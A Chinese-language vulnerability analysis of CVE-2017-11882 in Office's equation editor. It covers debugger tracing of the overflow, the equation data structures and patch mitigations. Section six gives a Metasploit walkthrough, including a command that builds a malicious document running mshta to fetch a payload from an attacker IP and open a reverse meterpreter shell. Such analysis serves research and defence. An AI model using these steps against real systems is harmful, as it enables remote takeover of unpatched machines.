一、漏洞简介
CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。
2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。
漏洞基本信息 | |
---|---|
漏洞ID | CVE-2017-11882 |
漏洞名称 | Microsoft Office数学公式编辑器内存损坏漏洞 |
漏洞类型 | 远程代码执行 |
威胁类型 | 栈溢出 |
影响版本 | Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016 |
二、漏洞测试
系统环境 | Win7 32 |
---|---|
Microsoft Office | 2013 sp1 |
生成测试漏洞文件 | https://github.com/Ridter/CVE-2017-11882 |
使用Command_CVE-2017-11882.py脚本生成漏洞文件。
有两种方式,我们先测试第一种弹出计算器。
三、漏洞定位
由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。
首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上。
由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析。
在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。
上图是调用41160F,栈中保存的原始返回地址
在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。
IDA分析可以看到[ebp+28]就是溢出缓冲区。
[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。
在经过溢出点后,原始返回地址4115D8被覆盖成402114。
这里覆盖后的地址是402114,Retn后回转到该地址处执行,
Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。
Shellcode中callWinExec函数弹出calc.exe。
成功弹出计算器。
四、数据结构分析
漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。
Equation Native数据流= EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR头结构(共28字节)如下
struct EQNOLEFILEHDR {
WORD cbHdr; // 格式头长度,固定为0x1C。
DWORD version; // 固定为0x00020000。
WORD cf; // 该公式对象的剪贴板格式。
DWORD cbObject; // MTEF数据的长度,不包括头部。
DWORD reserved1; // 未公开
DWORD reserved2; // 未公开
DWORD reserved3; // 未公开
DWORD reserved4; // 未公开
};
对应的数据如下图
MTEFheader
byte | description | value |
---|---|---|
0 | MTEF version | 3 |
1 | generating platform | 0 for Macintosh, 1 for Windows |
2 | generating product | 0 for MathType, 1 for Equation Editor |
3 | product version | 3 |
4 | product subversion | 0 |
MTEFByte Stream
value | symbol | description |
---|---|---|
0 | END | end of MTEF, pile, line, embellishment list, or template |
1 | LINE | line (slot) record |
2 | CHAR | character record |
3 | TMPL | template record |
4 | PILE | pile (vertical stack of lines) record |
5 | MATRIX | matrix record |
6 | EMBELL | character embellishment (e.g. hat, prime) record |
7 | RULER | ruler (tab-stop location) record |
8 | FONT | font name record |
9 | SIZE | general size record |
10 | FULL | full size record |
11 | SUB | subscript size record |
12 | SUB2 | sub-subscript size record |
13 | SYM | symbol size record |
14 | SUBSYM | sub-symbol size record |
参考:http://rtf2latex2e.sourceforge.net/MTEF3.html
数据 8 对应的数据类型为FONT,记录及结构如下:
struct stuFontRecord {
BYTE bTag; // 字体文件的tag位0x08
BYTE bTypeFace; // 字体风格
BYTE bStyle; // 字体样式
BYTE bFontName[n] // 字体名称,以NULL为结束符
};
字段 | 值 | 说明 |
---|---|---|
Tag | 0×08 | 1字节,固定为0×08 |
tface | typeface number | 1字节,Typeface编号 |
style | 1或者2 | 1字节,1表示斜体,2表示粗体 |
name | Font name (null-terminated) | 字体名字,以Null结尾 |
对应的数据如下图
五、RTF结构分析
其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。
对漏洞文件ole对象分析
可以看到插入了数学公式ole对象
查看ole对象的目录结构
可以看到ole对象中包含了EquationNative流
使用olebrowse工具查看Equation Native 流
六、MSF利用
环境准备
目标机 | Win7以及具有该漏洞的office |
---|---|
攻击机 | Kali linux |
Msf组件 | https://github.com/0x09AL/CVE-2017-11882-metasploit |
首先下载组件
把cve_2017_11882.rbcopy到
/usr/share/Metasploit-framework/modules/exploits/windows/smb
再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits
启动metasploit
使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882
showoptions查看要设置的参数
设置一个反弹式的meterpreter攻击载荷
设置本机ip以及URI路径
使用命令exploit-j 返回结果会显示出与目标主机的哪个端口建立了连接
生成目标机的漏洞文档,命令如下
PythonCommand109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test”-o test.doc
这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。
如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误
成功后,使用命令sessions-l 查看你控制的pc
使用命令sessions-i 1 切换进入,输入shell,进入cmd,whoami,OVER。
七、修复漏洞
(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新补丁进行修补
(2)开启Windows Update功能,定期对系统进行自动更新
取消该模块的注册
(1)按下Win+R组合键,打开cmd.exe
(2)输入以下两条命令:
reg add“HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400
reg add“HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400
参考资料:主要来自freebuf、pediy、csdn等平台
来源:freebuf.com 2018-09-07 15:02:13 by: 四维创智4DOGS
请登录后发表评论
注册